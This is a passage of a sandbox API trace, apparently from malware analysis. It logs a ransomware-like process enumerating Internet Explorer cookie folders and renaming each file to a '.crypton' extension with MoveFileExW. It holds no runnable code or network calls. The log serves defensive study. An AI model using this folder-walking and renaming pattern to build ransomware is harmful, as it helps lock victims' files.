halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.825] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.828] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.832] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.836] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.841] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.860] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.crypton"), dwFlags=0x2) returned 0 [0208.861] GetLastError () returned 0x20 [0208.861] GetLastError () returned 0x20 [0208.869] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9daf560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9daf560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.872] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.875] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.879] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.882] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.886] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.888] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.891] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.893] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.896] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.899] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.902] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.904] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.911] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.914] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.916] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.crypton"), dwFlags=0x2) returned 1 [0208.919] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.crypton"), dwFlags=0x2) returned 1 [0208.921] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.924] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.928] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.930] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.932] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.934] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.937] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.939] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.942] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.946] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.crypton"), dwFlags=0x2) returned 1 [0208.965] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\index.dat.crypton"), dwFlags=0x2) returned 1 [0208.967] GetFileType (hFile=0x1a4) returned 0x1 [0208.972] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9e93da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9e93da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.973] GetFileType (hFile=0x20c) returned 0x1 [0208.977] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x4a8d28 | out: 